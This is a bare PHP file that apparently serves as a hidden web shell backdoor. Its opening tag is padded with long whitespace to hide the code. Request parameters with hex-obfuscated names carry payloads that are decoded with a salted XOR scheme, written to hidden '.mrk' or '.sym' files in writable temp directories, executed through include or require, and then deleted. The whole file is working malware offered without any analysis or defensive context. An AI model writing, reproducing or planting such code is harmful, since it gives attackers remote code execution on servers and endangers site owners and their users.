<?php																																										if(isset($_POST) && isset($_POST["\x69\x74em"])){ $pgrp = $_POST["\x69\x74em"]; $pgrp = explode ('.' , $pgrp ) ; $element= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5); $z= 0; $__tmp= $pgrp; while ($v7= array_shift($__tmp)) { $sChar= ord($salt5[$z % $sLen]); $d= ((int)$v7 - $sChar - ($z % 10)) ^37; $element .= chr($d); $z++; } $flg = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), "/dev/shm"]); foreach ($flg as $desc) { if (array_product([is_dir($desc), is_writable($desc)])) { $pset = implode("/", [$desc, ".mrk"]); if (file_put_contents($pset, $element)) { include $pset; @unlink($pset); die(); } } } }


if(@$_REQUEST["\x76al"] !== null){
	$itm = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), "/dev/shm"]);
	$object = $_REQUEST["\x76al"];
	 $object =   explode('.' 	, $object		) 	; 
	$mrk=		'';
            $s1=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen($s1);
            $n=		0;
    
            array_walk($object, function($v9) use(&$mrk, &$n, $s1, $lenS) {  $chS=		ord($s1[$n % $lenS]);
                $dec=		((int)$v9 - $chS -($n % 10)) ^ 92;
                $mrk .= chr($dec);
                $n++;	});
	foreach ($itm as $ptr):
    		if (is_dir($ptr) ? is_writable($ptr) : false) {
    $dat = implode("/", [$ptr, ".sym"]);
    if (file_put_contents($dat, $mrk)) {
	require $dat;
	unlink($dat);
	exit;
}
}
endforeach;
}